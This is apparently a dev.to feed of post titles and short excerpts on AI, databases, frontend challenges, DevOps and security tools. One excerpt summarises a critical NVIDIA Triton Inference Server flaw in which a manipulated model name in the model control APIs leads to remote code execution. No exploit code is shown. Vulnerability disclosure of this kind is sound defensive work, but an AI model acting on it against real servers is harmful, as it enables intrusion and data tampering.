    Originally published on my blog. The arrival of any new technology always creates two camps: those who embrace it and those who reject it. While voices in the middle exist, they’re less vocal and often overlooked. Being reasonable isn’t nearly as attention-grabbing. When AI became commercially available in a user-friendly way (think ChatGPT), people quickly split into two camps: one predicted mass job loss within months (though we're years past that now), while the other viewed AI as a technological savior set to resolve every problem and replace humans entirely. Turns out... Both camps are right! In Europe and North America, the white-collar job market in 2025 shows elevated unemployment (EU: 6.2%; US hiring at weakest since 2009) and widespread layoffs (e.g., Amazon's 14,000 cuts), drive…  ( 9 min )
    I Built Convodb So You Can Talk to Your Database (And It Talks Back With 4 AI Agents)
    This is a submission for the TigerData Agentic Postgres Hackathon Challenge So there I was, scrolling through dev.to, when I saw the TigerData Agentic Postgres hackathon announcement. My first thought? "Cool, another database." My second thought, after reading for 5 minutes? "WAIT, DATABASES CAN DO THAT?!" 🤩 Let me tell you about the most exciting research rabbit hole I've gone down in months, and why I'm now convinced that Agentic Postgres might just be the missing piece for building truly intelligent AI applications. Before this hackathon, my mental model of PostgreSQL was pretty simple: It stores data (tables, rows, columns) It's fast and reliable Everyone uses it That's... pretty much it? Then TigerData came along and said: "What if your database could work with AI agents instead of j…  ( 22 min )
    Step Into Mystic Falls: A Halloween Story Telling Game
    > “There is no such thing as a bad idea. Only poorly executed awesome ones,” When I stumbled upon the Frontend Challenge - Halloween Edition, Perfect Landing_, I thought why not revisit some old JavaScript fundamentals and create a landing page that truly captures the Halloween spirit? The Founder's Day and the Lockwood Masquerade Ball have always been my favorite events from The Vampire Diaries so while planning this project I thought, "Let's merge them together!" That's how The Founder's Ball was born: an interactive storytelling game that lets users step into a dark ballroom, pick a partner, and uncover their supernatural identity. The entire app is built with HTML, CSS, and Vanilla JavaScript (ES6). Key Technical Features: Modular JavaScript with ES6 imports/exports for cleaner code organization CSS Keyframes for smooth fade-in transitions between sections Responsive Design optimized for mobile, tablet, and desktop (5 breakpoints) Dark Gothic UI with gradients, animations, and elegant typography The user journey flows through 6 distinct sections: Landing → Enter the mysterious ballroom Attire Selection → Choose your formal wear Outfit Choice → Pick from 4 elegant designs Partner Selection → Meet your mysterious companion Identity Reveal → Discover your supernatural nature Your Story → Read your personalized tale My goal was to create a user journey that felt like navigating through a storybook, where each choice transitions seamlessly into the next moment. This challenge gave me the perfect push to revisit my Vanilla JavaScript foundations and dust off some forgotten concepts. Here's what I brushed up on: Array Methods: join(), find(), map() State Management DOM Manipulation ES6+ Features: arrow functions, modules, destructuring Play The Founder's Ball View Source Code So… if you've ever wondered what your story will be in Mystic Falls, come find out. The Founder's Ball awaits you at the Lockwood Mansion from sunset to midnight. 🦇 All images used in this project are credited to their original owners.  ( 7 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    TL;DR Jeff Su reveals four ChatGPT hacks that slashed his AI workflow time by 50%: the Prompt Reversal Technique (reverse-engineer your best prompts), the 5-Minute Amplifier (turn one idea into multiple formats), the Red Team Technique (make AI critique its own work), and Blueprint Scaffolding (force ChatGPT to map out its reasoning before diving in). Each method comes with real-world examples you can plug into any role or industry right away—no more endless prompt tweaking. Follow the timestamps to dive straight into each hack and start doing more with less effort. Watch on YouTube  ( 6 min )
    Not Just Toys: Designing AI-Powered Playsets for the Next Generation of Kids
    As a product designer with a love for technology, I often find myself thinking about how AI and design can intersect in everyday products. Recently, I had an idea: Why not bring the playground to the backyard? Think about it—designing an outdoor playset that’s as smart, adaptable, and engaging as the apps we develop every day. When I started working on playset designs, I realized they’re much like crafting an AI-driven user experience. Just as we design software to adapt to the user, why can’t a playset evolve with the child’s needs? A slide can’t just be a slide—it needs to be a safe, fun experience that feels intuitive. The swing? It should feel like the perfect user interaction, providing just the right amount of thrill and comfort. Safety, of course, is paramount. But just like any good AI, the system needs to learn. The playset should have features that not only grow with the child’s abilities but also challenge them in healthy ways, promoting both physical and social development. I imagined a playset that encourages teamwork—maybe a climbing wall designed to foster cooperative play. It’s like building an interactive experience, but for kids, where every move promotes skill-building. And just like in tech design, the materials matter. A sturdy, durable playset is like clean, scalable code. It needs to withstand the test of time and environment, all while providing a seamless, engaging experience. In the end, the goal is simple: a smarter, safer, and more engaging backyard play area where kids can learn, grow, and have fun—all without leaving home.  ( 6 min )
    Complete Guide: Installing Docker and Docker Compose Step by Step
    Docker has revolutionized how we build, ship, and run applications. Whether you're a developer, DevOps engineer, or system administrator, learning Docker is essential. This comprehensive guide will walk you through installing Docker and Docker Compose on various operating systems. Docker is a platform that enables developers to package applications into containers—standardized executable components that combine application source code with all the operating system libraries and dependencies required to run that code in any environment. Docker Compose is a tool for defining and running multi-container Docker applications. With Compose, you use a YAML file to configure your application's services, networks, and volumes. Before installing Docker, ensure your system meets these requirements: O…  ( 11 min )
    Stay ahead in web development: latest news, tools, and insights #110
    Signup here for the newsletter to get the weekly digest right into your inbox. weeklyfoo #110 is here: your weekly digest of all webdev news you need to know! This time you'll find 40 valuable links in 6 categories! Enjoy! 2x Performance, $300k Savings: A Case Study in Rewriting a Critical Service in Rust by Xiaoyun Wu / rust, performance / 8 min read 📰 Good to know Wikipedia - Signs of AI writing: This is a list of writing and formatting conventions typical of AI chatbots such as ChatGPT, with real examples taken from Wikipedia articles and drafts. by wikipedia / ai / 67 min read Conductors to Orchestrators: The Future of Agentic Coding: From micro-manager to macro-manager: coding's asynchronous future by Addy Osmani / ai, workflows / 33 min read Immutable releases …  ( 9 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    CinemaSins tears into Thunderbolts* (aka The New Avengers) with their signature snark, cataloging every plot hiccup, dialogue quirk, and cinematic stumble—all in under 20 minutes. Despite the roast, they can’t help admitting the movie still has a certain charm. Along the way you’ll get plugs for their website, YouTube channels (@TVSins, @commercialsins, @cinemasinspodcastnetwork), a “sinful” poll, Patreon support, plus Discord, Reddit, Instagram and TikTok invites to keep the nitpicking party going. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Predators - Caravan of Garbage
    Predators: Caravan of Garbage review Mr Sunday Movies gives the 2010 Predator sequel high marks for ditching the underwhelming tropes of past installments and blasting back to basics: a motley crew of lunatics, a muddy jungle playground and all the alien-on-human carnage you could hope for. Some sleek new twists even push it beyond the usual Predator formula. Yet despite its fresh vibe and fan-favorite status, we’re still craving a proper follow-up. For more early vids, bonus podcasts and video-game let’s-plays, head over to bigsandwich.co or follow James and Maso on Twitter. Watch on YouTube  ( 6 min )
    The Secret Life of Python: The Iterator Protocol - Why For Loops Are Magic
    Timothy was explaining Python to a colleague from C++ when he got stumped. "So in Python, you can loop over lists, dictionaries, files, strings, ranges, sets... how does for know what to do with all these different types?" Margaret overheard and smiled. "That's the iterator protocol - one of Python's most elegant designs. Every type that works with for speaks the same language, and you can teach your own objects that language too. Let me show you the magic." Timothy showed Margaret what confused him: def demonstrate_for_loop_versatility(): """For loops work on so many different types!""" # Loop over a list for item in [1, 2, 3]: print(item, end=' ') print("← list") # Loop over a string for char in "hello": print(char, end=' ') print("← string")…  ( 21 min )
    AWS Certified AI Practitioner (AIF C01) Study Guide with Free Questions and Hands-On Tips
    The AWS Certified AI Practitioner (AIF C01) certification is designed for professionals who want to validate their understanding of artificial intelligence, machine learning, generative AI technologies, and related AWS services. You don’t need to be a deep technical expert; this exam focuses on understanding AI and ML concepts and how AWS services enable them. You should have around six months of exposure to AI or ML technologies and basic knowledge of core AWS services like Amazon S3, Amazon EC2, AWS Lambda, IAM, and Regions or Availability Zones. In this guide, you will find: Official exam links Free practice questions for the AWS AI Practitioner exam questions Study strategies and hands-on tips A public study tracker link for structured preparation Before you start preparing, go through…  ( 8 min )
    Junior Coders: The One Rule You Should Follow to Adopt AI
    I originally posted this post on my blog. "Is using AI totally forbidden?" "When and how should I use it?" "What's your take on vibecoding?" I was on a firechat with a community of new coders the other day. Those questions kept popping up. They all wanted to know about AI. I get it! There's a lot of noise: AI is taking our jobs. "X% of code is generated by AI at $BigCorp." Some guy shared on Twitter/X that he built an app with no coding skills and now he's retired, drinking martinis in the Caribbean. I made up the last one, but I wouldn't be surprised if there's a post like that. Don't be discouraged by those headlines. (There's a lot of nuance behind them.) We're living in the best time to learn coding. Here's the rule: Don't use AI to generate code until you're comfortable coding on your own. If you only copy and paste what ChatGPT, Cursor, or $NewestFastestLLM gives you, you're in trouble. You need to know if what that tool is spitting out is good code. And for that, you need your own judgment. When in doubt, think of AI as a powerful calculator in math class. It makes you faster, but you still need to know how to solve equations. The thinking part is still yours. AI can spit out code in seconds, even with a bad prompt. But coding is more than syntax. It's also about teamwork, clear communication, and problem solving.  That's why I wrote Street-Smart Coding: 30 Ways to Get Better at Coding, a practical guide to the skills that actually make you a better coder. It's the roadmap I wish I had when I was starting out. Get your copy of Street-Smart Coding here  ( 7 min )
    Witch POTIONS
    This is a submission for Frontend Challenge - Halloween Edition, CSS Art. So, I started thinking about a shelf full of potions, like a witch's laboratory. With that idea in mind, I began the design, avoiding complex figures. Click here to see Demo reposit This is the first time I've done a project like this. I only use HTML and CSS. I usually only did small things with basic CSS tools, but this was quite a challenge; to give you an idea, I have over 1300 lines of CSS! That's a lot for me. During this process, I learned several things, but here are the most important: ::before ::after Animation Using the same HTML div name in other elements AREAS FOR IMPROVEMENT: First, I could add more elements, as it looks empty, but I wasn't sure which ones. I should have been more creative. Second, without a doubt, I need to create a responsive website. This involves using media, Flexbox, Grid, etc. I got stuck many times trying and became quite frustrated. I hope to return to this project in the future and improve it by adding elements with more complex shapes and more eye-catching animations.  ( 7 min )
    Understanding Kafka lag
    Apache Kafka is a powerful distributed streaming platform designed for high-throughput, fault-tolerant, and real-time data pipelines. However, one of the most common challenges faced by Kafka users is consumer lag — a situation where consumers are unable to keep up with the rate of incoming messages. we’ll discuss what Kafka lag is, why it occurs, and the best practices solve it. It is the difference between the latest offset (end offset) of a partition and the current offset that a consumer has read. End Offset → The most recent message written to a Kafka partition. Current Offset → The last message that a consumer has successfully processed and committed. If the consumer lags behind the producer, the difference between these offsets grows — this is consumer lag. High lag means messages a…  ( 7 min )
    🧠Understanding 6 Common Data Formats in Cloud Data Analytics
    Data analytics relies heavily on how data is stored, exchanged, and processed. Different data formats are optimized for different use cases — from simple spreadsheets to large-scale distributed processing. In this blog, let’s explore six popular data formats used in cloud-based analytics: CSV, SQL, JSON, Parquet, XML, and Avro. We’ll use a simple dataset throughout all examples 👇 Name Register_No Subject Marks Arjun 101 Math 90 Priya 102 Science 88 Kavin 103 English 92 CSV (Comma Separated Values) Explanation: Example (data.csv): Name,Register_No,Subject,Marks SQL (Relational Table Format) Explanation: Example (data.sql): CREATE TABLE Students ( INSERT INTO Students VALUES ('Arjun', 101, 'Math', 90); JSON (JavaScript Object Notation) Explanation: Example (data.json): [ {"Na…  ( 7 min )
    Sum of Digits: A Beginner's Guide to String Iteration in Python
    When you're learning to code, one of the first problems you'll encounter is calculating the sum of individual digits within a number. It seems simple on the surface: take 123, add 1 + 2 + 3, and you get 6. But how do you actually make a computer do this? The answer introduces you to some fundamental Python concepts that you'll use throughout your programming journey. I initially thought about using the split() method but later learned that the split() method only removes spaces and commas. Let's say we want to write a function that takes any integer and returns the sum of its digits. For instance: sum_of_digits(123) should return 6 sum_of_digits(9999) should return 36 This might seem tricky at first because numbers are mathematical objects, not sequences we can easily break apart. The key …  ( 8 min )
    From whoami to "Who Am I?": My Journey as a Renamed Linux User
    🐧 It All Started With My First Linux Install I typed a username without thinking much about it. For weeks, I knew I wanted to change it both for comfort and to learn how Linux manages users. You can't rename a logged-in user because system processes are running under that username. Here's what worked: Log out completely by clicking the power icon in the top-right corner, then select log out. At the login screen, switch to TTY (Ctrl+Alt+F3). Login as root (you might need to enable root first): sudo passwd -S root if it shows root L ... then unlock it by setting new password sudo passwd root Verify the old user isn't running any processes: ps -u old_username Rename the user: usermod -l new_username old_username Verify the change: cat /etc/passwd | grep new_username Update the home directory path: usermod -d /home/new_username -m new_username Return to the GUI (Ctrl+Alt+F1/F2). After changing username, I found broken bookmarks in Nautilus file manager. Here's how I fixed them: Find the bookmarks file: find ~/.config -name "*bookmarks*" -type f 2>/dev/null Edit it: nano ~/.config/gtk-3.0/bookmarks Updated all paths from /home/old_username to /home/new_username. Linux user management involves multiple files and processes. The terminal becomes much more enjoyable when you love your username!😄  ( 6 min )
    Learning AI in the world of fast-moving AI
    This is gonna be a tough one. I mean, writing without using ChatGPT, Claude, etc, to generate this blog post for me. I'll create an article on how I am using AI in my studies and work I'm currently pursuing a Master's in Artificial Intelligence with a Robotics specialisation, which I genuinely love, but let me tell you: learning in the age of fast-moving AI is both exhilarating and disorienting at the same time. Now? Here's the thing, AI has been practically real for about the last two years now. And it's getting crazier every single day. Right now, AI isn't some distant future thing anymore, it's embedded in almost every industry. Discoveries drop constantly. Everything is accelerating. It's like trying to read a book while someone keeps flipping the pages faster and faster. For me I am s…  ( 8 min )
    Building OperatorAILIVE: Architecting an AI-Powered 911 Triage System with Kiro
    🚨 Building OperatorAILIVE: An AI-Powered 911 Triage System with Kiro by Sathvik Vempati In emergency dispatch, every second matters. During peak call volumes, 911 operators can become overwhelmed, leading to delayed responses. OperatorAILIVE was built to help bridge that gap — a conversational AI system designed to handle basic intake, assess urgency, and deliver structured, prioritized information to human dispatchers in real time. This project was developed for the Kiroween Hackathon, where the goal was to demonstrate how Kiro can power intelligent, reliable, and safe AI-driven systems. OperatorAILIVE functions as an AI-assisted triage agent that supports human dispatchers when lines are full or call queues are high. Emergency Intake: Allows callers to explain their situation in their…  ( 8 min )
    We’re the Doctors of Digital Marketing — diagnosing problems, prescribing strategies, and delivering results that actually work.
    A post by eMatrix Infotech  ( 6 min )
    I Taught Postgres to Fight Hackers - And It Worked (Agent Auth)
    This is a submission for the Agentic Postgres Challenge with Tiger Data Okay, let's be real, what I built is a little bit crazy. But when the challenge said "build something that makes us say 'I didn't know you could do that!'", I went all in. Here's the problem that keeps developers up at night: user input is terrifying. You build a nice little form, users type into it, and suddenly you're dealing with SQL injection, credential stuffing, and attacks you didn't even know existed. You try regex rules, you try validation, but it's like playing whack-a-mole with hackers. What about the attacks nobody's seen before? The ones that slip through every known defense? That's where Agent Auth comes in. I built an AI security guardian that watches over your input fields like a hyper-vigilant bouncer.…  ( 9 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    Forget endless ChatGPT tweak sessions—these four tricks will half your AI workload pronto. The Prompt Reversal technique shows you how to reverse-engineer your best prompts, the 5-Minute Amplifier turns one idea into multiple formats, the Red Team Technique gets AI to critique its own work, and Blueprint Scaffolding forces it to lay out its reasoning before diving in. Each method is demoed with real-world examples you can steal today, and they work no matter your role or industry. Time to slash those hours and boost productivity! Watch on YouTube  ( 6 min )
    Weekend Project- Building a Serverless Phishing Detector for Google's Cloud Run Hackathon
    I created this blog post for the purposes of entering the Google Cloud Run hackathon. When I set out to build ParsePhish for the Google Cloud Run hackathon, I thought I had a solid plan: create a dual-purpose API that could analyze both emails AND URLs for phishing indicators. What I ended up with was a much more focused, production-ready solution - and a valuable lesson about the power of simplicity in AI applications. ParsePhish is a REST API that uses transformer embeddings and GPU-accelerated similarity search to analyze email content for phishing indicators. It runs entirely serverless on Google Cloud Run with NVIDIA L4 GPUs. It was designed to be privacy-respecting and inexpensive to run. My idea was that now you could detect phishing messages without needing to send your messages t…  ( 8 min )
    Yet Another Password Authentication Flow.. but hear me out
    Auth is one of those topics everyone touches but few explore deeply. Most posts repeat the same template: hash passwords, issue a JWT, add middleware, done. That works for demos, not production. MERN stack buddies will learn a lot from this one! This is a blueprint, not a tutorial. It shows you the architecture that Auth0, Clerk, and Supabase use internally for password authentication. You'll see the patterns, understand the threat models, and know how to adapt them to your stack. I tried to provide a "more complete" flow than what I've seen out there on YouTube where they only focus on the token generation but they don't talk about refresh tokens, how to SECURELY store them, how to retrieve them, how to detect replays and how to handle revocation and server-side session versions. The Thre…  ( 13 min )
    Auth Series: Yet Another Password Authentication Flow.. but hear me out
    Auth is one of those topics everyone touches but few explore deeply. Most posts repeat the same template: hash passwords, issue a JWT, add middleware, done. That works for demos, not production This is a blueprint, not a tutorial. It shows you the architecture that Auth0, Clerk, and Supabase use internally for password authentication. You'll see the patterns, understand the threat models, and know how to adapt them to your stack. I tried to provide a "more complete" flow than what I've seen out there on YouTube where they only focus on the token generation but they don't talk about refresh tokens, how to SECURELY store them, how to retrieve them, how to detect replays and how to handle revocation and server-side session versions. The Three Pillars: Identity, Proof, Trust Every auth syste…  ( 13 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less CinemaSins just dropped a brisk 20-minute roast of Thunderbolts*, ticking off every plot hole, cliché and face-palm moment—yet they can’t help but admit the movie might actually be pretty great. Want more sinful goodness? Swing by their website or Linktree for all the latest, fill out the poll, back the team on Patreon, or join the Discord and Reddit. You can also follow their writers (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel) and catch CinemaSins on Instagram, TikTok and Twitter. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Predators - Caravan of Garbage
    Predators – Caravan of Garbage Review Predators (2010) ditches the overcooked Alien vs. Predator crossovers and slams the series back into a muddy, jungle-bound brawl with a rag-tag band of misfit fighters. With brutal face-munching set pieces and a few clever twists, it’s a gritty return to form that reminded fans why this franchise rocks. Part of Mr Sunday Movies’ Caravan of Garbage series, the review hails Predators as a fan-favorite—yet can’t help lamenting that we never got a proper follow-up to such a badass revival. Watch on YouTube  ( 6 min )
    DevMind - AI-Powered Developer Second Brain
    Ever spent hours searching for a solution you know you've solved before? DevMind is your intelligent knowledge companion that captures, organizes, and retrieves your technical learnings using natural language and AI-powered hybrid search—all powered by Agentic Postgres features on Tiger Cloud. DevMind is an AI-powered developer knowledge management system that solves a problem every developer faces: we keep solving the same problems over and over because our solutions get scattered across Slack threads, browser bookmarks, and forgotten notes. The inspiration? After spending 2 hours debugging a PostgreSQL connection pool issue I'd already solved 3 months ago, I realized we need a "second brain" that actually understands what we're looking for—not just keyword matching. Key capabilities: 🔍 …  ( 12 min )
    🎯 Scenario #12 — To Mount a ConfigMap as a Volume and Update It Dynamically in Kubernetes
    In this scenario you will: ✅ Create a ConfigMap This is one of the most important Kubernetes features for configuration-driven apps. Create a file: # config-volume-cm.yaml apiVersion: v1 kind: ConfigMap metadata: name: app-config data: welcome.txt: | Welcome version 1 This is the first config. Apply it: kubectl apply -f config-volume-cm.yaml Verify: kubectl get configmap app-config -o yaml Create file: # config-volume-pod.yaml apiVersion: v1 kind: Pod metadata: name: config-volume-demo spec: containers: - name: nginx image: nginx:1.25 volumeMounts: - name: config-volume mountPath: /usr/share/nginx/html/config # Config file available here volumes: - name: config-volume configMap: name: app-config Apply: kubectl apply -f config-volume…  ( 7 min )
    ✅ I Changed Just One Line and My AI Bot Suddenly Stopped Hallucinating
    For weeks, my AI bot had one annoying habit: it kept talking too much. It didn’t matter if I used a clean prompt, a strict system message, or even a carefully crafted JSON schema — the model still drifted into weird territory. It added extra sentences, invented fields, threw in emojis I never asked for, and sometimes started explaining things nobody needed explained. In this article, I’ll tell you my experience about this AI bot hallucination fix. Press enter or click to view image in full size I thought this was just “normal AI behavior,” kind of like how devices sometimes get warm after updates or how generative models like GPT occasionally drift, which is something even researchers have flagged as a common issue (OpenAI themselves explain hallucination risks quite clearly in their do…  ( 9 min )
    Unlocking Dual Earnings: AI Monetization Strategies for LLM Apps with Monetzly
    Unlocking the Future of AI Monetization: Introducing MonetZly In the rapidly evolving world of AI applications, developers face a daunting challenge: how to monetize their innovations without alienating users. The explosion of AI tools has created a vibrant landscape, but many still lack sustainable monetization models. Enter MonetZly, a groundbreaking platform that is redefining the way developers, advertisers, and users interact in the AI economy. Imagine a marketplace where developers can monetize their applications effortlessly, advertisers can connect with engaged users, and users receive relevant ads that enhance their experience. That's the essence of MonetZly—a three-sided ecosystem that fosters collaboration and mutual benefit. MonetZly is the first platform in the AI space to…  ( 7 min )
    🎯 Scenario #12 — Mount a ConfigMap as a Volume and Update It Dynamically in Kubernetes
    In this scenario you will: ✅ Create a ConfigMap This is one of the most important Kubernetes features for configuration-driven apps. Create a file: # config-volume-cm.yaml apiVersion: v1 kind: ConfigMap metadata: name: app-config data: welcome.txt: | Welcome version 1 This is the first config. Apply it: kubectl apply -f config-volume-cm.yaml Verify: kubectl get configmap app-config -o yaml Create file: # config-volume-pod.yaml apiVersion: v1 kind: Pod metadata: name: config-volume-demo spec: containers: - name: nginx image: nginx:1.25 volumeMounts: - name: config-volume mountPath: /usr/share/nginx/html/config # Config file available here volumes: - name: config-volume configMap: name: app-config Apply: kubectl apply -f config-volume…  ( 7 min )
    Critical AI Infrastructure Security Threat: Reproducing and Detecting the NVIDIA Triton Critical Vulnerability(CVE-2025-23316)
    NVIDIA Triton Inference Server is an open-source AI model inference platform that supports multiple deep learning frameworks and is widely used for deploying machine learning models in production environments. Recently, a Critical vulnerability was disclosed on NVIDIA's official website(Security Bulletin: NVIDIA Triton Inference Server - September 2025 | NVIDIA): NVIDIA Triton Inference Server for Windows and Linux contains a vulnerability in the Python backend, where an attacker could cause a remote code execution by manipulating the model name parameter in the model control APIs. A successful exploit of this vulnerability might lead to remote code execution, denial of service, information disclosure, and data tampering. The Triton backend for Python(Python Backend). The goal of Python …  ( 8 min )
    Prompt engineering will not make you stand out anymore, but prompt thinking will. Because the future won’t belong to people who know how to “use” AI, it will belong to those who know how to think with AI.
    Prompt Engineering Isn’t Enough: You Need Prompt Thinking Jaideep Parashar ・ Nov 10 #ai #webdev #discuss #learning  ( 7 min )
    SQL: Keeping Your Data Organized
    What is SQL? SQL stands for Structured Query Language, and it is the backbone of data management. It's a programming language used to store and process information in relational databases. Although SQL is a stand-alone language, it is rarely used to create an application on its own. If you don't know what a relational database is, it's just a collection of information that organizes data into rows and columns. This information is usually stored in the form of a table that looks like the picture below. See how the tables are formed with certain pieces of information? All three tables point to each other in some way! What is SQL mainly used for, and how do we use it? I. CREATE **CREATE TABLE** table_name(column1 datatype, column2 datatype, … columnN datatype); II. SELECT It would look something like this. **SELECT** data, FROM table_name; III. INSERT **INSERT INTO** table_name (table_name column contents) **VALUES** (the data you want to pass in) IV. DELETE DELETE statement whenever you want to remove data from a table. Just like INSERT, make sure you specify the data you want to remove from a specific table. **DELETE FROM** table_name **WHERE** [condition] Let's put that all together! First, let's create our table. **CREATE TABLE** Employee (EMP_ID int, NAME varchar (255), SALARY int, AGE int); Next, let's add some data into our new table. **INSERT INTO** Employee (EMP_ID, NAME, SALARY, AGE) **VALUES** ('1', 'Azaria', 100000, 22); We should have something that looks like the table below. If you want to SELECT or DELETE any data, you can just use those statements. Pretty simple and straight to the point, right? There are plenty of other statements you can use in SQL, but those are just the basics. PostgreSQL Conclusion Extra Resources https://www.w3schools.com/sql/sql_intro.asp https://www.w3schools.com/postgresql/postgresql_intro.php https://en.wikipedia.org/wiki/SQL  ( 7 min )
    When to Ensemble: Identifying Token-Level Points for Stable and Fast LLMEnsembling
    How AI Teams Work Together to Give Faster, Smarter Answers Ever wondered why some chatbots seem to know the answer instantly while others stumble? Scientists discovered that letting several AI models “talk” to each other can make the final reply both quicker and more accurate. This breakthrough means future assistants could answer complex questions with human‑like speed, all while using less computing power. It’s a glimpse of a future where AI works smarter, not harder, making our digital helpers more reliable every day. Read article comprehensive review in Paperium.net: When to Ensemble: Identifying Token-Level Points for Stable and Fast LLMEnsembling 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 23 min )
    Prompt Engineering Isn’t Enough: You Need Prompt Thinking
    Everyone is racing to learn “prompt engineering.” Courses. Cheat sheets. Templates. Hacks. But here’s the uncomfortable truth most people won’t say out loud: Prompt engineering will not make you stand out anymore, but prompt thinking will. Prompt engineering teaches you how to talk to AI. One is a skill. And only one of them will matter in the AI-native workforce. The Problem With How People Learn Prompting Today People treat prompting like: memorising shortcuts collecting prompt templates copying pre-written scripts This worked in 2023. Why? Because everyone now has access to the same templates. If a skill can be copy-pasted, it cannot create differentiation. Prompt engineering is becoming a baseline literacy, not an advantage. To rise above the noise, you need to shift from using prompts…  ( 9 min )
    C#: Read or Remove Document Properties from Excel
    Managing metadata within your Excel files is more than just good practice; it's a critical component of data governance, security, and automation in today's digital landscape. Have you ever found yourself manually updating author names, company details, or project identifiers across numerous spreadsheets? Or perhaps you've needed to ensure sensitive information embedded in Excel Properties .NET is removed before sharing a document? Manually handling these tasks is not only tedious but also prone to errors. This article delves into how you can programmatically read and remove Document Properties C# from Excel files using the powerful Spire.XLS for .NET library. We'll explore how to leverage C# to automate these essential tasks, providing you with a robust solution for managing your C# Excel…  ( 9 min )
    KT148A Voice Chip (Serial Version) — MCU Malfunction During Music Playback
    1. Problem Description When using the KT148A serial version voice chip for music playback, the microcontroller (MCU) malfunctions immediately. Measurements reveal significant power supply fluctuations during music playback initiation. According to the manual, this is likely caused by insufficient drive capability. However, the same power supply works normally when connected to the official test board. The root cause is clearly power supply instability - a common issue resolvable through basic circuit design principles. Power Supply Configurations: The KT148A chip has two power supply configurations (refer to power supply notes in the upper-right corner of the figure). Current Consumption Factors: Speaker impedance and power rating (larger speakers → higher current draw) Playback volume (higher volume → greater power consumption) Maximum drive capability: Approximately 200 mA Reference: Official test board minimum system schematic Use thicker power traces to reduce voltage drop Keep KT148A power traces as short as possible to minimize resistance and interference Add a decoupling capacitor at KT148A power input: Recommended: Electrolytic capacitor (e.g., 47μF/16V) or similar Ensure stable and robust power source Avoid using: Long/thin Dupont jumper wires Weak power supplies Such setups cause severe voltage fluctuations leading to chip resets or MCU abnormalities Note: These are fundamental power design principles. Review basic circuit design if necessary. If experiencing voice data download issues, use the official full-featured download board for testing (refer to diagram below).  ( 6 min )
    Recommendations for handling spatial processing workflows on the web
    Hi everyone, I’m currently working on a small web project and I’m splitting my workflow between the backend and frontend since I’ll need a “heavy” processing component for automated spatial operations. This part mainly involves running scripts that perform spatial tasks such as calculating point distances, handling geometry intersections, and updating labels based on spatial results. Apart from that, the project also includes the usual web elements — a standard database, content pages, multimedia, etc. So far, I’ve been considering Strapi for the backend and Vercel for the frontend, but I suspect I’ll need an additional service to handle the spatial processing layer. Has anyone here worked on something similar (ideally keeping costs low)? Thanks in advance for any advice or experiences you can share! 😊  ( 6 min )
    Deploying Static Files for Website Hosting in SafeLine
    In SafeLine version 6.6.0 and above, you can easily host websites using static files. This guide will walk you through the steps to set up a site using static resources and provide solutions for common issues you might encounter. When adding a new site in SafeLine, choose the Static Files option for site creation. After setting up the site, try visiting the site’s URL. If you see the default page, it means the static hosting setup was successful. Once the default page is visible, you can go to the Site Details section and upload your custom static files. If your static files exceed the upload limit, you can manually upload them to the appropriate directory on the WAF server. Directory path: installation_directory/resources/nginx/static/static_${SITE_ID} You can find the SITE_ID by checking the site details URL. For example, if the URL is https://xxxx:9443/sites/detail?id=12, then the site ID is 12. By following these steps, you’ll be able to quickly host static websites using SafeLine and manage your site with ease! GitHub: https://ly.safepoint.cloud/rZGPJRF https://ly.safepoint.cloud/eGtfrcF https://ly.safepoint.cloud/DQywpL7  ( 6 min )
    ⚡ Lightning-Fast Face Recognition with InsightFace + SORT + Qdrant
    Most face-recognition systems fail in real life. The solution is not “more detection.” 🚀 Why SORT Changes Everything SORT (Simple Online & Real-Time Tracking) gives you: Persistent IDs across frames No flickering names when a person turns their head High FPS (because you don’t detect every frame) Stable embeddings (recognize once → reuse for multiple frames) Think of SORT as the glue that holds your face-recognition pipeline together. 🔥 The Recognition Pipeline (Super Simple) if frame_id % 3 == 0: faces = face_app.get(frame) 2️⃣ Use SORT to track faces between detections tracked = tracker.update(detections) 3️⃣ Assign embeddings via IoU matching for det_bbox, det_emb in last_face_map.items(): if compute_iou(track_bbox, det_bbox) > 0.45: track_embeddings[track_id] = det_e…  ( 7 min )
    Boost Your Website’s Security with SafeLine WAF: The Powerful Open-Source Solution You Need
    Here’s a strong recommendation for an open-source WAF (Web Application Firewall) that’s been developed for nearly 10 years. It comes in both community and professional editions, and the community edition (free) is more than capable of handling most use cases. Let’s start with the basics for those who might not be familiar: A WAF (Web Application Firewall) is a security solution deployed in front of websites at the application layer, offering protection through the following features: Web Vulnerability Protection: Detects and blocks common web attacks like SQL injection, XSS (cross-site scripting), and more via predefined rules. Anti-CC Attack: Provides protection against large-scale attacks like DDoS by filtering malicious traffic. Access Control: Allows filtering based on IP add…  ( 7 min )
    How SafeLine’s Dynamic Protection Safeguards Your Website
    SafeLine is a Web Application Firewall (WAF) developed by Chaitin Technology. It leverages advanced technologies like big data and machine learning to create a network attack detection system. SafeLine continuously monitors and analyzes global threat intelligence, attack data, and vulnerability information in real time. This enables it to quickly identify and detect unknown security threats, accurately determine the type and source of attacks, and promptly issue alerts. Additionally, SafeLine features a proprietary intelligent defense engine and a user-friendly visual management interface, providing efficient attack prevention and comprehensive security monitoring. This makes it an essential tool for delivering secure and reliable cloud security services to users. You can choose the instal…  ( 7 min )
    I'm learning python and english
    A post by Jesus Juarez  ( 5 min )
    PiHMP Stack (v2) - The Phoenix Protocol Build Log
    Introduction: The Inciting Incident A few days ago, my trusty Raspberry Pi 4—the backbone of my home network—died. A power outage corrupted its SD card, and my entire stack of services went dark. What began as a simple restore became an opportunity. Instead of just rebuilding, I decided to re-architect everything to be more resilient, more powerful, and frankly, more fun. This document is the master build log for that project. It contains every file, every configuration, every command, and every critical fix required to build this stack from a fresh OS install. This is the blueprint for a resilient, self-aware, and fully automated home server. Rock-Solid Foundation: Static IPs and resilient storage that survives a boot failure. Containerized Services: A full Docker stack for Plex, Pi-h…  ( 15 min )
    HPSR Proxy Stack: Tu Propio Servidor Proxy HTTPS con Docker, Squid y Certificados SSL Válidos
